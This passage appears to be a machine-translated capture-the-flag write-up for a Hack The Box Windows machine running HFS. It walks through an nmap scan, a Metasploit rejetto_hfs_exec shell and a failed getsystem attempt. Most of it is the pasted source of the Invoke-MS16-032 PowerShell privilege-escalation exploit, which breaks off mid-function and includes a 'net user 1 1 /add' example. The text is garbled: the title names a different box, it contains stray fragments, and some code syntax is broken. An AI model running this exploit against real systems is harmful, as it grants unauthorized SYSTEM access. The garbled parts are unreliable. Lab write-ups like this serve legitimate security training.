Hack The Box —— Lame

信息搜集

nmap

1

nmap -T4 -A -v 10.10.10.8

I found that the server only had port 80, corresponding to the hfs service, browser access, and found the version number of the hfs service.

exploit-db

Search for related vulnerabilities and found that there is a corresponding exp on msf

漏洞利用

Use use exploit/windows/http/rejetto_hfs_exec under 010-1010 msf and configure meterpreter payload.

exploit runs, rebound successfully meterpreter shell

sysinfo shows that the system is 64-bit, but the meterpreter payload we use by default is 32-bit, so transfer meterpreter to a 64-bit process, such as explorer.exe

Check the current directory directly, find user.txt, type to view the content, and submit it.

At this time, it is found that it is non-administrator permissions, and the meterpreter uses getsystem to try to increase the authority, but it is found that it fails.

Try to use msf locally to escalate rights.

Looking for available exps, find that using ms16-032 can be targeted at Windows Server 2012.

However, when trying, I found that it was unsuccessful and the rebound shell was not the system permission.

So search for the exploit script for the vulnerability.

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function Invoke-MS16-032 {

#

.SYNOPSIS

PowerShell implementation of MS16-032. The exploit targets all vulnerable

operating systems that support PowerShell v2+. Credit for the discovery of

the bug and the logic to exploit it go to James Forshaw (@tiraniddo).

Targets:

* Win7-Win10 2k8-2k12==32/64 bit!

* Tested on x32 Win7, x64 Win8, x64 2k12R2

Notes:

* In order for the race condition to succeed the machine must have 2+ CPU

cores. If testing in a VM just make sure to add a core if needed mkay.

* The exploit is pretty reliable, however ~1/6 times it will say it succeeded

but not spawn a shell. Not sure what the issue is but just re-run and profit!

* Want to know more about MS16-032==

https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION

Author: Ruben Boonen (@FuzzySec)

Blog: http://www.fuzzysecurity.com/

License: BSD 3-Clause

Required Dependencies: PowerShell v2+

Optional Dependencies: None

.PARAMETER Application

Specifies an Application to run.

.PARAMETER Commandline

Specifies Commandline, such as net user xxx xxx /add

.EXAMPLE

C:\PS Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe

C:\PS Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline '/c net user 1 1 /add'

#

[CmdletBinding()]

param(

[Parameter(Mandatory=$False, ParameterSetName='C:\Windows\System32\cmd.exe' )]

[string]

$Application,

[Parameter(Mandatory=$False)]

[string]

$Commandline

)

Add-Type -TypeDefinition @'

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Security.Principal;

[StructLayout(LayoutKind.Sequential)]

public struct PROCESS_INFORMATION

{

public IntPtr hProcess;

public IntPtr hThread;

public int dwProcessId;

public int dwThreadId;

}

[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]

public struct STARTUPINFO

{

public Int32 cb;

public string lpReserved;

public string lpDesktop;

public string lpTitle;

public Int32 dwX;

public Int32 dwY;

public Int32 dwXSize;

public Int32 dwYSize;

public Int32 dwXCountChars;

public Int32 dwYCountChars;

public Int32 dwFillAttribute;

public Int32 dwFlags;

public Int16 wShowWindow;

public Int16 cbReserved2;

public IntPtr lpReserved2;

public IntPtr hStdInput;

public IntPtr hStdOutput;

public IntPtr hStdError;

}

[StructLayout(LayoutKind.Sequential)]

public struct SQOS

{

public int Length;

public int ImpersonationLevel;

public int ContextTrackingMode;

public bool EffectiveOnly;

}

public static class Advapi32

{

[DllImport('advapi32.dll', SetLastError=true, CharSet=CharSet.Unicode)]

public static extern bool CreateProcessWithLogonW(

String userName,

String domain,

String password,

int logonFlags,

String applicationName,

String commandLine,

int creationFlags,

int environment,

String currentDirectory,

ref STARTUPINFO startupInfo,

out PROCESS_INFORMATION processInformation);

[DllImport('advapi32.dll', SetLastError=true)]

public static extern bool SetThreadToken(

ref IntPtr Thread,

IntPtr Token);

[DllImport('advapi32.dll', SetLastError=true)]

public static extern bool OpenThreadToken(

IntPtr ThreadHandle,

int DesiredAccess,

bool OpenAsSelf,

out IntPtr TokenHandle);

[DllImport('advapi32.dll', SetLastError=true)]

public static extern bool OpenProcessToken(

IntPtr ProcessHandle,

int DesiredAccess,

ref IntPtr TokenHandle);

[DllImport('advapi32.dll', SetLastError=true)]

public extern static bool DuplicateToken(

IntPtr ExistingTokenHandle,

int SECURITY_IMPERSONATION_LEVEL,

ref IntPtr DuplicateTokenHandle);

}

public static class Kernel32

{

[DllImport('kernel32.dll')]

public static extern uint GetLastError();

[DllImport('kernel32.dll', SetLastError=true)]

public static extern IntPtr GetCurrentProcess();

[DllImport('kernel32.dll', SetLastError=true)]

public static extern IntPtr GetCurrentThread();

[DllImport('kernel32.dll', SetLastError=true)]

public static extern int GetThreadId(IntPtr hThread);

[DllImport('kernel32.dll', SetLastError=true)]

public static extern int GetProcessIdOfThread(IntPtr handle);

[DllImport('kernel32.dll',SetLastError=true)]

public static extern int SuspendThread(IntPtr hThread);

[DllImport('kernel32.dll',SetLastError=true)]

public static extern int ResumeThread(IntPtr hThread);

[DllImport('kernel32.dll', SetLastError=true)]

public static extern bool TerminateProcess(

IntPtr hProcess,

uint uExitCode);

[DllImport('kernel32.dll', SetLastError=true)]

public static extern bool CloseHandle(IntPtr hObject);

[DllImport('kernel32.dll', SetLastError=true)]

public static extern bool DuplicateHandle(

IntPtr hSourceProcessHandle,

IntPtr hSourceHandle,

IntPtr hTargetProcessHandle,

ref IntPtr lpTargetHandle,

int dwDesiredAccess,

bool bInheritHandle,

int dwOptions);

}

public static class Ntdll

{

[DllImport('ntdll.dll', SetLastError=true)]

public static extern int NtImpersonateThread(

IntPtr ThreadHandle,

IntPtr ThreadToImpersonate,

ref SQOS SecurityQualityOfService);

}

'@

function Get-ThreadHandle {

# StartupInfo Struct

$StartupInfo=New-Object STARTUPINFO

$StartupInfo.dwFlags=0x00000101 # STARTF_USESTDHANDLES

$StartupInfo.wShowWindow=0;

$StartupInfo.hStdInput=[Kernel32]:GetCurrentThread()

$StartupInfo.hStdOutput=[Kernel32]:GetCurrentThread()

$StartupInfo.hStdError=[Kernel32]: